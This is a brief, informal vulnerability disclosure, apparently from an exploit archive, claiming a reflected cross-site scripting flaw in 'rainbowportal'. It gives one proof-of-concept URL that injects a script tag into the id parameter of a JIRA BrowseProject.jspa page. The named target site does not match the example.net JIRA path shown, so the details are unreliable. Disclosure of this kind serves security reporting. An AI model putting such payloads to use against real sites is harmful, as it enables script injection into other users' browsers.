hey ,,  
Vulnerable : rainbowportal
web : http://rainbowportal.net/


XSS :
1-
http://example.net/jira/secure/BrowseProject.jspa?id="><script>alert('BLacK_ZeRo')</script>


Discovered  By BLacK ZeRo 
bl4ck@bsdmail.org 

Best regards ,,